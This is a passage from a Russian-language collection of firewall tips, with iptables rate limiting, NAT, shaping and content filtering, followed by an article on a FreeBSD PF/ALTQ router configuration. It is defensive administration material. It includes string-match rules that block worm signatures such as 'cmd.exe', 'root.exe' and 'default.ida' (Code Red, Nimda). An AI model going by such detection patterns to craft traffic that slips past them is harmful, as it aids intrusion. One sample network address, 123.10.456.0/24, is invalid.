          --update --seconds 60 --hitcount 4 -j DROP
    
     
    ----* Ограничение трафика через iptables (доп. ссылка 1)   Автор: Николай Малых  [комментарии]
     
    ipt_limit - общее ограничение по срабатываний правила
         -m limit --limit {avg}/[second|minute|hour|day] --limit-burst {burst}
    
    iplimit - ограничение соединений для одного IP.
        Ограничение коннектов к 80 порту от одного IP:
             iptables -A INPUT -p tcp --syn --dport http -m iplimit --iplimit-above 4 -j REJECT
        Тоже, но для запросов с одной /24 подсети:
             iptables -A INPUT -p tcp --syn --dport http -m iplimit --iplimit-mask 8 --iplimit-above 4 -j REJECT
    
    hashlimit - для каждого IP в хэше хранятся параметры соединений;
        -m hashlimit --hashlimit {avg} --hashlimit-burst {burst} --hashlimit-mode {режим: dstip, dstport, srcip, srcport} \
           --hashlimit-name {name} --hashlimit-htable-max {num} --hashlimit-htable-expire {num} --hashlimit-htable-gcinterval {num}
    
        iptables -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m hashlimit --hashlimit 1/hour \
           --hashlimit-burst 2 --hashlimit-mode srcip --hashlimit-name SSH --hashlimit-htable-expire 360000 -j ACCEPT
    
    tbf (http://www.nmalykh.org/work/tbf.tar.gz) - продолжение развития limit и hashlimit c поддержкой 
    возможности инверсии правил в целом.
    
        iptables -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m tbf ! -- tbf 1/s --tbf-burst 
           --tbf-mode srcip --tbf-name SMTP  -j DROP
    
     
    ----* Примеры возможностей iptables открывающихся после установки POM (patch-o-matic) (доп. ссылка 1)   [комментарии]
     
    Фильтрация по строковой маске:
       iptables -A FORWARD -i eth0 -p tcp --sport 80 \
          -m string --string '|7F|ELF' -j DROP
       iptables -A FORWARD -i eth0 -p tcp \
          ! -s 192.168.0.5 --sport 80 -m string \
          --string '|7F|ELF' -j DROP
    
    Сжатая компоновка номеров портов в одной строке:
       iptables -A INPUT -p tcp -m mport \
          --dports 80,110,21,6000:6003 -j ACCEPT
    
    Учет времени при блокировке:
       iptables -A INPUT -p tcp -d 80 -m time \
          --timestart 04:00 --timestop 06:30 --days Fri \
          --syn -j REJECT
    
    Коннект в пустоту (соединение не закрывается, но ничего не происходит):
       iptables -A INPUT -p tcp -m tcp -dport 80 -j TARPIT
    
    Срабатывание правила с заданной вероятностью (в процентах):
    
       iptables -t nat -A PREROUTING -i eth0 -p tcp \
          --dport 80 --syn -m random --average 33 \
          -j DNAT --to-destination 192.168.0.100:80
       iptables -t nat -A PREROUTING -i eth0 -p tcp \
          --dport 80 --syn -m random --average 50 \
          -j DNAT --to-destination 192.168.0.101:80
       iptables -t nat -A PREROUTING -i eth0 -p tcp \
          --dport 80 --syn -j DNAT \
          --to-destination 192.168.0.102:80
    
    См. также статью http://linuxgazette.net/108/odonovan.html
    
     
    ----* Как удалить iptables правило по номеру   [комментарии]
     
    iptables -L INPUT --line-numbers
    iptables -D INPUT номер
    
    iptables -t nat -L POSTROUTING --line-numbers
    iptables -t nat -D POSTROUTING номер
    
     
    ----* Как ограничить пропускную полосу для пакетов помеченных меткой через MARK.   Автор: Denis Fedorishenko (NuclearCat)  [комментарии]
     
    Сделать MARK, и загнать все такие трансферы в какой-либо класс шейпера. 
    Т.е. если например помеченные пакеты - все их отнести к классу 1:51 где
    скорость ограничена от 32К до 64К:
      tc filter add dev eth1 parent 1:0 protocol ip prio 100 handle 51 fw classid 1:51
      tc class add dev eth1 parent 1:2 classid 1:51 htb rate 32Kbit ceil 64Kbit
      tc qdisc add dev eth1 parent 1:51 handle 51 sfq perturb 10
    
     
    ----* Как запретить пользователям качать большие файлы   Автор: Denis Fedorishenko (NuclearCat)  [обсудить]
     
    - Собираем поддержку connbytes в patch-o-matic.
    - Добавляем правило в firewall, например:
         iptables -A FORWARD --connbytes 100000 -j REJECT
    - теперь все TCP сессии более 100 Кбайт будут "обрезаны", необходимо добавить 
    исключения для протоколов типа ssh, обычные "долгоживущие" чаты и т.п.
    
     
    ----* Борьба с Kazaa и прочим вредным трафиком путем вырезания пакетов по маске   Автор: Denis Fedorishenko (NuclearCat)  [комментарии]
     
    - собираем поддержку "string" в patch-o-matic.
    - смотрим на протокол Kazaa, в заголовках содержится:
      HTTP/1.0 503 Service Unavailable.Retry-After: 3..X-Kazaa-Username: BlazeTre
    - добавляем в firewall строчку - iptables -A FORWARD -m string --string "X-Kazaa-" -j REJECT
    
     
    ----* Как в Linux перебросить соединение через NAT во внутреннюю сеть (доп. ссылка 1)   Автор: Dimez  [комментарии]
     
    Первый путь - пробрасывание только порта:
      1) iptables -t nat -A PREROUTING -p tcp -d EXT_R_IP --dport 10000 -j DNAT --to-destination LOCAL_IP:80
      2) iptables -A FORWARD -i eth0 -d LOCAL_IP -p tcp --dport 22 -j ACCEPT
    
    Второй вариант - выброс всей машины наружу (если есть свободные адреса):
      1) ifconfig eth0:0 NEW_IP netmask NETMASK broadcast BROADCAST
      2) route add NEW_IP gw GW netmask 0.0.0.0 metric 1 dev eth0:0
      3) iptables -t nat -A PREROUTING -p tcp -d NEW_IP -j DNAT --to-destination LOCAL_IP
      4) iptables -A FORWARD -i eth0 -d LOCAL_IP -j ACCEPT
    
    Обозначения: EXT_R_IP - внешний IP роутера, LOCAL_IP - внутренний IP машины,
    которую хочешь выбросить
      NEW_IP - новый IP на который хочешь посадить машину, которая имеет локальный LOCAL_IP
      NETMASK, BROADCAST, GW - внешние netmask, broadcast и gateway
    
     
    ----* Пример настройки NAT с привязкой к IP под Linux   [комментарии]
     
    Пример настройки NAT с привязкой к IP под Linux
    
      iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -d 0/0 -o eth0 -j SNAT --to-source 212.23.98.45
    
    или (без привязки к IP)
    
      ipchains -A forward -j MASQ -s 192.168.0.0/16 -d 0.0.0.0/0
    или (через iproute2)
    
      ip rule add from 10.0.1.0/24 nat 254.147.38.14
    
    Другой способ трансляции адресов:
    
      iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -d 0/0 -j MASQUERADE
    
     
    ----* Как ограничить через iptables максимальное число одновременных соединений с одного IP.   [комментарии]
     
    # Максимум 10 одновременных соединений к 80 порту с одного IP
      iptables -A INPUT-p tcp --dport 80 -m iplimit --iplimit-above 10 -j REJECT
    # Блокируем на стадии SYN
      iptables -I INPUT -p tcp --syn --dport 80 -j DROP -m iplimit --iplimit-above 10
    # 20 соединений на сеть класса С
      iptables -p tcp --dport 80 -m iplimit --iplimit-above 20 --iplimit-mask 24 -j REJECT 
      
    
     
    ----* Как посмотреть статистику по PREROUTING цепочкам в iptables.   [комментарии]
     
    > Делаю:
    > iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 192.168.22.33:3128
    > По iptables -L ничего не показывается.
    Используйте: iptables -t nat -L
    
     
    ----* Как настроить пакетный фильтр для фильтрации по содержимому пакетов   [комментарии]
     
    Следующие правила блокируют прохождение пакетов, данные в которых содержат подстроку virus.exe
    и ведут лог пакетов с строкой secret внутри:
    iptables -A INPUT -m string --string "secret" -j LOG --log-level info --log-prefix "SECRET"
    iptables -I INPUT -j DROP -p tcp -s 0.0.0.0/0 -m string --string "virus.exe"
    # Block Code Red
    iptables -I INPUT -j DROP -p tcp -m string --string "cmd.exe"
    # Block Nimda
    iptables -I INPUT -j DROP -p tcp -m string --string "root.exe"
    iptables -I INPUT -j DROP -p tcp -m string --string "default.ida"
    
     
    ----* Как настроить NAT (транслятор адресов) для нормальной работы с FTP и ICQ в Linux   [комментарии]
     
    iptables:
       modprobe iptable_nat
       modprobe ip_conntrack_ftp
       modprobe ip_nat_ftp                     
       modprobe ip_nat_irc
    ipchains:
       modprobe ip_masq_ftp
       modprobe ip_masq_raudio
       modprobe ip_masq_irc
       modprobe ip_masq_icq
    
     
    ----* Список интересных iptables модулей-расширений. (доп. ссылка 1)   [обсудить]
     
    Фильтрация по MAC (mac): 
        --mac-source [!] XX:XX:XX:XX:XX:XX (! - "не" маска.)
    Запись номеров портов (multiport):
        --source-port [port[,port]]
        --destination-port [port[,port]]
        --port [port[,port]]  (source или destination)
    Установка и проверка маркера пакет (mark):
        --set-mark mark
        --mark value
    Выборка пакетов посланных/полученных пользователем (owner):
        --uid-owner userid
        --gid-owner groupid
        --pid-owner processid
    Установка/проверка типа сервиса (TOS/tos):
        --set-tos tos
        --tos tos
    Определение log-level для syslog (LOG):
        --log-level level
    Установка реального IP для работы NAT (SNAT, цепочка POSTROUTING):
        --to-source  <ipaddr>[-<ipaddr>][:port-port]
    Изменение/проверка TTL - time to live (TTL/ttl):
        --ttl-set ttl
        --ttl-dec N - уменьшение на N
        --ttl-inc N - увеличение на N
        --ttl ttl - проверка
    
     
    ----* Можно ли отфильтровывать пакеты (вести лог) в зависимости от UID пользователя ?   [обсудить]
     
    Для FreeBSD:
    ipfw add count tcp from any to not 192.168.1.0/24 uid 231
    uid user (или gid group) - под правило попадают все TCP или UDP пакеты посланный 
    или принятые пользователем user (группой group).
    В Linux в ядрах 2.4.x в iptables можно использовать модуль owner.
    
     
    ----* Ограничение трафика через iptables (доп. ссылка 1)   Автор: Z0termaNN  [комментарии]
     
    iptables --new-chain car
    iptables --insert OUTPUT 1 -p tcp --destination-port 25 -o eth1 --jump car
    iptables --append car -m limit --limit 20/sec --jump RETURN
    iptables --append car --jump DROP
    
     

       Пакетный фильтр в FreeBSD: ipfw, IP-Filter

    ----* Маршрутизатор на базе FreeBSD с приоритизация трафика средствами PF и ALTQ   Автор: artemrts  [комментарии]
     
    Проблема приоритизации трафика, на мой взгляд, весьма актуальна.
    Интернет-канала много не бывает и на всех пользователей и сервисов локальной
    зачастую не хватает. Поэтому для нормальной работы Интернета требуется
    грамотное распределения полосы с учетом потребностей каждого из участников.
    Единственный раз, когда мне не понадобился QoS - это гарантированный
    провайдером канал в 20 Мбит/с в мир и 100Мбит/с - национальный. Но такое
    удовольствие не из дешевых, поэтому зачастую народ довольствуется ADSL-каналом
    с заявленной скоростью к клиенту до 5-10 Мбит/с.
    
    Хочу заметить, что данная статья не предназначенная для новичков в сетевом
    администрировании в целом и в PF в частности. Читателю необходимо иметь
    минимальные навыки работы с сетями (понимать устройство пакета, знать что такое
    ТСР-флаги и т.д.), а также с пакетным фильтром PF. Не лишним будет прочесть
    официальный FAQ и man'ы. В основном цель этой статьи поделиться опытом,
    выслушать замечания и, возможно, улучшить свой вариант.
    
    И так, постановка задачи: организовать доступ к сети Интернет. Грамотно
    распределить как входящий так и исходящий трафик с разделением канала для
    клиентов локальной сети и сервисов, запущенных на самом роутере (например,
    FTP-сервер, SIP-сервер и т.д.). В качестве роутера выступает сервер с ОС
    FreeBSD 9 c пакетным фильром PF.
    Протокол FTP будет использоваться только в пассивном режиме, что немного упростит конфигурацию.
    
    Для решения поставленной задачи необходимо пересобрать ядро и включить в него
    поддержку PF и ALTQ. Для задач, не требующих ALTQ, пересобирать ядро не
    обязательно. Можно просто подгрузить PF как модуль.
    
    Добавляем в файл конфигурации следующие строки и пересобираем ядро. Описывать
    каждую опцию не буду. В man 4 altq все есть.
    
       options HZ=1000
    
       device pf
       device pflog
       options ALTQ
       options ALTQ_CBQ
       options ALTQ_RED
       options ALTQ_RIO
       options ALTQ_HFSC
       options ALTQ_CDNR
       options ALTQ_PRIQ
       #options ALTQ_NOPCC #for SMP CPU
    
    Лично я для боевого сервера пересобираю не только ядро системы, но и мир. Как
    это сделать, хорошо описано в Хендбуке и /usr/src/Makefile.
    
    Для автоматического запуска PF при старте системы добавляем в /etc/rc.conf строки:
    
       pf_enable="YES"
       pflog_enable="YES"
    
    Далее, собственно, сам конфигурационный файл пакетного фильтра. Возьмем самую
    простую реализацию роутера: один внутренний сетевой интерфейс и один внешний.
    Интернет канал подключен через ADSL-модем, работающий в режиме моста, т.е.
    подключение pppoe организовано средствами штатного ppp-клиента.
    
    Скорость от провайдера - 5 Мбит/c, к провайдеру - 850 Кбит/c. 
    На роутере запущен HTTP-прокси для прозрачного перенаправления WWW-трафика
    пользователей сети. Это сделано с целью блокировать метод CONNECT и
    принудительно направить другие виды трафика (например, торрент) в другие
    очереди с другим приоритетом. Я использую легковесный, но "шустрый" 3proxy
    (3proxy.ru). Кому важен кэш - используйте Squid или Apache Traffic Server.
    
    Также перенаправляются все ДНС-запросы на сервер ДНС-провайдера. Это сделано с
    целью блокировки фишинговых и других зловредных сайтов, сайтов для взрослых,
    аплоадеры, соц. сети и т.д. и т.п. Некоторые компании так же предоставляет
    блокировку рекламных баннеров.
    
    Весь исходящий трафик я разбил на следующие очереди:
    
     - ДНС-запросы - очередь u_dns
    
     - ТСР АСК-пакеты - очередь u_ack
    
     - трафик с высоким приоритетом - очередь u_hipri
    
     - трафик с нормальным приоритетом - очередь u_pri
    
     - трафик с низким приоритетом - очередь u_lowpri
    
     - весь остальной трафик - очередь u_other
    
     - стандартная очередь - очередь u_std, одна очередь должна быть с опцией default, в которую попадает трафик, который не попадает ни под какое другое правило. В нашем случае это показатель правильности назначения очередей в правилах фильтрации. В эту очередь ничего не должно попадать.
    
    Аналогичное деление трафика, идущего к клиенту локальной сети, только вместо
    u_* используется d_* обозначение.
    
    Трафик классифицируется как относительно сервиса/протокола (HTTP, FTP, Torrent)
    так и относительно пользователя, т.е. трафик от/к компьютера, например,
    бухгалтера может быть весь помечен как с высоким приоритетом, независимо от
    того Торрент это или FTP.
    Данные, являющиеся ДНС-запросам и ТСР АСК-пакетами, для всех пользователей
    имеют свой высокий неизменный приоритет. Например, весь трафик от/к компьютера,
    относящегося к группе с низким приоритетом, будет обрабатываться с низким
    приоритетом, кроме ДНС и ТСР АСК.
    
    Определяем макросы, что бы меньше текста в основной части конфигурационного файла.
    
       mst="modulate state"
       str="source-track rule"
       ext_if="tun0"
       int_if="rl0"
    
    Таблица, в которую включены компьютеры трафик  к/от которых весь будет
    считаться с высоким приоритетом.
    
       table <pc_hipri> persist {10.11.1.2}
    
    Аналогично для ПК с нормальным приоритетом.
    
       table <pc_pri> persist {10.13.1.2 10.13.1.10 10.13.1.13 10.13.1.14 10.13.1.15}
    
    Таблица с адресами, доступ к которым блокируется.
    
       table <ban> persist file "/etc/pf.ban"
    
    Таблица, с адресами клиентов, которым можно доверять.
    
       table <trust> persist {123.10.456.0/24 193.196.125.0/24}
    
    IP-адрес системного администратора.
    
       table <me> persist {210.211.13.84}
    
    IP-адреса SIP-провайдеров
    
       table <sip_peers> persist {212.15.65.122 75.16.127.118}
    
    Конфигурируем опции пакетного фильтра, изменяющие его поведение. В нашем случае:
    
    - не производится проверка на интерфейсе обратной петли;
    
    - выставляем оптимизацию правил в basic;
    
    - устанавливаем привязку состояний соединения (т.н. стейтов) к каждому интерфейсу;
    
    - устанавливаем максимальное кол-во состояний. Если сетевых интерфейсов большое
    кол-во или большое кол-во клиентов в сети, возможно, потребуется
    скорректировать это значение в большую сторону.
    
       set skip on lo0
       set ruleset-optimization basic
       set state-policy if-bound
       set limit states 20000
    
    Нормализация трафика (т.н. скрабинг). Срабинг позволяет значительно повысить
    безопасность файервола. В нашем случае выполняется нормализация трафика на
    внешнем интерфейсе, генерируется случайная последовательность в поле
    идентификации IP-пакета, устанавливается величина TTL=128, производится
    "дефрагментация" IP-пакетов, а также нормализация TCP соединений.
    
       scrub on $ext_if all random-id no-df min-ttl 128 fragment reassemble reassemble tcp
    
    
    ALTQ.
    
    Приоритизировать будем на всех физических сетевых интерфейсах. На внешнем -
    исходящий трафик, на внутреннем - входящий.
    Выбор дисциплины - очень важный момент. Возможные варианты: priq, cbq, hfsc. 
    
    Я использую hfsc, т.к. важной чертой этого планировщика есть именно
    гарантирование полосы для конкретного пользователя/сервиса. Работа планировщика
    для нашего конкретного случая построена следующим образом: если в описании
    очереди указан дополнительный параметр realtime, то ей будет отдана указанная
    (realtime) полоса независимо ни от чего. Величина трафика свыше realtime будет
    рассчитываться исходя из величины bandwidth. Причем  bandwidth - не абсолютный
    параметр, скорее относительный.
    
    Исходя из величин bandwidth каждой очереди рассчитывается величина трафика
    свыше realtime для каждой очереди пока не будет достигнут параметр upperlimit,
    который жестко ограничивает полосу. Приоритеты в планировщике hfsc не используются.
    
    Помимо всех прочих параметров, hfsc имеет параметр qlimit - кол-во слотов,
    доступных очереди для сохранения исходящих пакетов, когда вся доступная полоса
    исчерпана. И только когда все слоты будут заняты, пакеты будут отбрасываться,
    что заставит клиента снижать скорость. Мы не будем использовать RED или ECN,
    вместо этого увеличим значение qlimit.
    
    Назначаем очередь на внешнем интерфейсе. Величина bandwidth должна быть 96% от
    предоставляемой вышестоящим роутером. Здесь же перечисляем все дочерние очереди.
    
       altq on $ext_if hfsc bandwidth 800Kb queue {u_std,u_ack,u_dns,u_hipri,u_pri,u_lowpri,u_other}
    
    Очередь по-умолчанию. Будет потреблять 25 кбит/с независимо ни от чего.
    Величина bandwidth 1Kb означает, что если канал будет полностью занят любой
    другой очередью или всеми, то очередь u_std практически ничего не получит свыше
    25 кбит/с.
        
       queue u_std bandwidth 1Kb qlimit 50 hfsc (default realtime 25Kb)
    
    Очередь u_ack - это ТСР АСК-пакеты, которые будут отправляться удаленному хосту
    с которого происходит загрузка по протоколу ТСР. Важно, что бы эти пакеты
    проходили без задержек. Для максимальной скорости от провайдеоа 4 Мбит/с
    требуется гарантированный канал в обратную сторону в размере 125 кбит/с.
        
       queue u_ack bandwidth 1Kb qlimit 200 hfsc (realtime 125Kb)
    
    ДНС-запросы. Гарантированной полосы в 25 кбит/с вполне достаточно. Больше не
    нужно, поэтому bandwidth 1Kb
        
       queue u_dns bandwidth 1Kb qlimit 50 hfsc (realtime 25Kb)
    
    Очередь с высоким приоритетом
        
       queue u_hipri bandwidth 300Kb qlimit 250 hfsc (realtime 200Kb)
    
    Очередь с обычным приоритетом
    
       queue u_pri bandwidth 300Kb qlimit 400 hfsc (realtime 150Kb)
    
    Очередь с низким приоритетом
    
       queue u_lowpri bandwidth 100Kb qlimit 100 hfsc (realtime 75Kb)
    
    Очередь для всего остального трафика ТСР и UDP.
    
       queue u_other bandwidth 97Kb qlimit 50 hfsc (realtime 25Kb)
    
    Назначаем очереди на внутреннем интерфейсе - приоритизируем входящий трафик.
    Провайдер отдает 5 Мбит/с, поэтому устанавливаем очередь inetq в размере 96%.
    Так же на внутреннем интерфейсе запущен ряд служб, например, локальный FTP,
    поэтому важно "не смешать" локальный трафик с Интернет-трафиком. Так как
    сетевая карточка 100Mbit, то выставляем значение bandwidth в 100Mb. Назначаем
    две очереди: одна - локальный трафик, вторая Интернет-трафик с дочерними очередями.
    
       altq on $int_if hfsc bandwidth 100Mb queue {etherq, inetq}
    
    Очередь для локального трафика. В эту очередь будут попадать все пакеты, идущие
    от внутреннего сетевого интерфейса к пользователям локальной сети. Параметр
    upperlimit определяет максимальное значения для данной очереди. Заметьте, в эту
    очередь не будут попадать ответы, например, от WWW-сервера из сети Интернет.
    Эта очередь исключительно для локального трафика.
    
       queue etherq bandwidth 95Mb hfsc (upperlimit 95Mb)
    
    Очередь для Интернет-трафика. В эту очередь будут попадать пакеты, идущие с
    сети Интернет. Имеет дочерние очереди по аналогии с внешним интерфейсом.
    
       queue inetq bandwidth 4800Kb hfsc (upperlimit 4800Kb) {d_std,d_ack,d_dns,d_hipri,d_pri,d_lowpri,d_other}
       queue d_std bandwidth 1Kb qlimit 50 hfsc (default realtime 25Kb)
       queue d_ack bandwidth 1Kb qlimit 50 hfsc (realtime 50Kb)
       queue d_dns bandwidth 1Kb qlimit 50 hfsc (realtime 25Kb)
       queue d_hipri bandwidth 1297Kb qlimit 500 hfsc (realtime 1000Kb)
       queue d_pri bandwidth 2000Kb qlimit 500 hfsc (realtime 2000Kb)
       queue d_lowpri bandwidth 1000Kb qlimit 500 hfsc (realtime 500Kb)
       queue d_other bandwidth 500Kb qlimit 500 hfsc (realtime 240Kb)
    
    Правила трансляции локальных адресов (NAT).
    
    Транслируются адреса, где источник - IP-адрес из любой подсети внутреннего
    интерфейса, а адрес назначения - любой, кроме IP-адресов из всех подсетей,
    подключенных к роутеру. Это могут быть как физические так и VPN-интерфейсы
    (tun, gif).
    ($ext_if) - в круглых скобках, т.к. IP-адрес внешнего интерфейса назначается динамически.
    
    ($int_if:network) и (self) в круглых скобках что бы в выводе pfctl -sn не было
    подстановки реальных адресов и сетей. Это удобно, когда у вас на внутреннем
    интерфейсе несколько алиасов и, соответственно, подсетей (как в моем случае).
    
       nat on $ext_if inet from ($int_if:network) to !(self) -> ($ext_if) port 1024:65535
    
    Пользователей из группы pc_hipri и pc_pri пускаем в обход прокси. Я пускаю их
    напрямую, т.к. эти пользователи не нуждаются в контроле, а также специфическое
    ПО не работает в режиме прозрачного проксирования.
    
       no rdr on $int_if inet proto tcp from {<pc_hipri> <pc_pri>} to !(self) port 80
    
    Правило редиректа, перенаправляющие все ДНС-запросы локальных пользователей на
    внешний ДНС-сервер. Это может быть Google или, лучше, ДНС-сервер компании,
    предоставляющей фильтрацию трафика посредством ДНС.
    
       rdr on $int_if inet proto {tcp udp} from ($int_if:network) to !(self) port 53 -> 193.58.251.251 port 53
    
    Редирект на прокси-сервер.
    
       rdr on $int_if inet proto tcp from ($int_if:network) to !(self) port 80 -> 127.0.0.1 port 31280
    
    Редирект на удаленный рабочий стол виндовой машины в локальной сети из сети Интернет.
    
       rdr on $ext_if inet proto tcp from any to ($ext_if) port 3389 -> 10.11.1.2 port 3389
    
    Правила фильтрации трафика. Правила будем группировать в такой
    последовательности: действие, интерфейс, направление, протокол, адрес
    источника, порт источника, адрес назначения, порт назначения.
    
    Антиспуфинг.
    
       antispoof quick for {$int_if lo0} inet
    
    Блокируем не маршрутизируемые адреса.
    
       block in quick inet from no-route to any
    
    Блокируем броадкасты.
    
       block in quick on $ext_if inet from any to 255.255.255.255
    
    Блокируем IP-адреса, содержащиеся в таблице ban. Опция return возвращает TCP
    RST, что закрывает сразу соединение без таймаута. Полезно, когда блокируются
    адреса рекламных сетей, что позволяет браузеру нормально загружать странички
    без ожидания загрузки блокируемого контента.
    
       block return out quick on $ext_if inet from any to <ban>
    
    Эти 2 правила определяют тип файервола: запрещено все, кроме явно разрешенного.
    
       block in all
       block out all
    
    Собственно разрешающие правила. 
    Расположены в определенной последовательности, что важно с точки зрения
    производительности, а также ожидаемого эффекта.
    
    Внутренний интерфейс.
    Разрешаем ТСР-пакеты к интерфейсу обратной петли, на котором "слушает" прокси-
    сервер для организации прозрачного проксирования. Назначаем очереди. Мы не
    можем приоритизировать входящий трафик, только исходящий. В d_pri будут
    попадать пакеты, которые являются ответом от сервера к клиенту, таким образом
    мы регулируем скорость скачивания.
    
       pass in log quick on $int_if inet proto tcp from ($int_if:network) to 127.0.0.1 port 31280 queue (d_pri, d_ack)
    
    Далее 3 правила, которые разрешают ТСР соединения на определенные порты на не
    локальные IP-адреса. Назначаются соответствующие очереди. Тегирование
    необходимо что бы потом на внешнем интерфейсе мы могли "отделить" его от
    остального трафика и направить в нужную очередь. Заметьте, опция quick не
    используется, поэтому эти правила нужно расположить в правильной
    последовательности: от менее ограничивающего к более, потому как без опции
    quick последнее совпавшее правило выигрывает, а не первое совпавшее.
    
    Опция quick не используется т.к. при совпадении пакет будет назначен в очередь
    и пропущен и не дойдет до тех правил, которые описывают разрешения и
    приоритеты, основанные не на протоколах, а на адресах источника/назначения (в
    нашем случае это компьютеры из группы pc_hipri и pc_pri). Т.к. протокол ТСР, то
    так же добавляем очередь для ТСР АСК-пакетов. В качестве адреса назначения в
    правилах фигурирует !(self:network). Это значит, что только пакеты, не
    предназначенные ни к одному IP-адресу сетевых интерфейсов или IP-адресу из
    подсетей, подключенных к роутеру, будут разрешаться и, соответственно,
    тегироваться. Это, например, не даст подключиться к внешнему IP из локальной сети.
    
       pass in log on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		$mst queue (d_other d_ack) tag INET_OTHER
    
       pass in log on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		port {20 21 25 110 143 5190 8080 081} $mst queue (d_lowpri d_ack) tag INET_LOWPRI
    
       pass in log on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		port 443 $mst queue (d_pri d_ack) tag INET_PRI
    
    Далее 2 правила, которые будут срабатывать как для всех пользователей так и для
    тех, кто принадлежит к т.н. VIP-группе (pc_hipri и pc_pri). Поэтому тут
    используем опцию quick.
    
       pass in log quick on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		port {22 3389} $mst queue (d_hipri d_ack) tag INET_HIPRI
    
       pass in log quick on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		port 53 $mst queue (d_dns d_ack) tag INET_DNS
    
    Следующие 2 правила, по-аналогии с TCP, описывают разрешения и очереди для
    протокола UDP. Так же их тегируем. Второе правило с опцией quick, т.к. оно
    должно срабатывать для всех категорий пользователей.
    
       pass in log on $int_if inet proto udp from ($int_if:network) to !(self:network) queue d_other tag INET_OTHER
    
       pass in log quick on $int_if inet proto udp from ($int_if:network) to !(self:network) \\
    		port {53 123} queue d_dns tag INET_DNS
    
    Правило, разрешающее ICMP.
    
       pass in log on $int_if inet proto icmp from ($int_if:network) to !(self:network) queue d_lowpri tag INET_LOWPRI
    
    Следующие правила, разрешающие трафик от клиентов, с высоким и нормальным
    приоритетом. Весь трафик будет считаться очень высоким (hipri) или высоким
    (pri) приоритетом (кроме ДНС и ТСР АСК). Здесь мы не указываем протокол, но
    указываем modulate state, который применяется только для ТСР. Это не будет
    ошибкой, PF достаточно "умный" и он подставит modulate state для протокола ТСР,
    и keep state - для всех остальных протоколов.
    
       pass in log quick on $int_if inet from <pc_hipri> to !(self:network) $mst queue (d_hipri, d_ack) tag INET_HIPRI
    
       pass in log quick on $int_if inet from <pc_pri> to !(self:network) $mst queue (d_pri, d_ack) tag INET_PRI
    
    Разрешаем локальный Ethernet к внутреннему интерфейсу роутера.
    
       pass in quick on $int_if inet from ($int_if:network) to ($int_if) queue etherq
    
    Теперь опишем разрешающие правила с внутреннего интерфейса роутера в локальную
    сеть. Если у вас нет редиректа с Интернета в локальную сеть или нет никаких
    серверов/клиентов, запущенных на самом роутере и требующих доступ в локальную
    сеть, то эти правила можно не добавлять.
    Первое правило разрешает трафик с Интернета к указанному IP в локальной сети и
    назначает очень высокий приоритет входящего трафика. Это третье правило (первое
    - rdr, второе - разрешающее на внешнем интерфейсе) для редиректа (проброса)
    порта в локальную сеть.
    
       pass out quick on $int_if inet proto tcp from !(self) to 10.11.1.2 port 3389 queue (d_hipri d_ack)
    
    Правило, разрешающее трафик от внутреннего сетевого интерфейса роутера в
    локальную сеть. Не важно какой протокол. Весь направляется в очередь etherq.
    
       pass out quick on $int_if inet from ($int_if) to ($int_if:network) queue etherq
    
    
    Внешний интерфейс. Разрешающие правила для входящего трафика. Важно, для
    каждого входящего правило указывать максимальное кол-во стейтов, которые может
    создать правило. Это предотвратит исчерпывания всего лимита стейтов одним
    правилом в случае DoS атаки.
    Последующие 6 правил разрешают входящие ТСР-подключения к определенным портам
    роутера, а также назначаются соответствующие очереди. Эти очереди будут
    приоритизировать не входящий трафик, а исходящий. Так же стоит обратить
    внимание на первые два правила, которые разрешают доступ к FTP серверу на
    роутере. Передача команд по 21-му порту будет направляться в очередь с большим
    приоритетом (u_pri), а данные - с меньшим (u_lowpri).
    
       pass in quick on $ext_if inet proto tcp from <trust> to ($ext_if) port 21 $mst (max 100) queue (u_pri u_ack)
    
       pass in quick on $ext_if inet proto tcp from <trust> to ($ext_if) port >=49152 $mst (max 100) queue (u_lowpri u_ack)
    
       pass in quick on $ext_if inet proto tcp from <me> to ($ext_if) port 22 $mst (max 10) queue (u_hipri u_ack)
    
       pass in quick on $ext_if inet proto tcp from <me> to ($ext_if) port 80 $mst (max 100) queue (u_pri u_ack)
    
       pass in quick on $ext_if inet proto tcp from <me> to ($ext_if) port 5900 $mst (max 10) queue (u_hipri u_ack)
    
    Правило, разрешающее входящее подключение с сети Интернет (конкретно с адреса
    администратора), но не к интерфейсам роутера (внешнему в том числе), а к
    компьютеру в локальной сети к порту RDP.
    
       pass in quick on $ext_if inet proto tcp from <me> to !(self) port 3389 $mst (max 10) queue (u_hipri u_ack)
    
    Следующее правило разрешает подключение с любого адреса сети Интернет к
    VNC-репитеру. В целях безопасности включен трекинг источника (source-track).
    
       pass in quick on $ext_if inet proto tcp from any to ($ext_if) port 5500 $mst \\
    		(max 10,$str, max-src-nodes 2, max-src-states 3, max-src-conn-rate 3/60) \\
    		queue (u_hipri u_ack)
    
    
    Следующие 2 правила разрешают подключения к определенным портам по протоколу UDP.
    
       pass in quick on $ext_if inet proto udp from any to ($ext_if) port 1194 (max 20) queue u_pri
    
       pass in quick on $ext_if inet proto udp from <sip_peers> to ($ext_if) port 5060 (max 20) queue u_hipri
    
    Разрешаем пинг к внешнему интерфейсу.
    
       pass in quick on $ext_if inet proto icmp from any to ($ext_if) icmp-type echoreq (max 100) queue u_other
    
    Внешний интерфейс. Разрешающие правила для исходящего трафика.
    Следующие 5 правил разрешают исходящий трафик с внешнего интерфейса, который
    был помечен на внутреннем интерфейсе. Это исключительно данные, которые
    передаются в сеть Интернет от клиентов в локальной сети.
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_dns u_ack) tagged INET_DNS
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_hipri u_ack) tagged INET_HIPRI
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_pri u_ack) tagged INET_PRI
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_lowpri u_ack) tagged INET_LOWPRI
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_other u_ack) tagged INET_OTHER
    
    И последние правила, разрешающие исходящие соединения с внешнего интерфейса.
    Это будет трафик непосредственно самого роутера. В целом приоритет этого
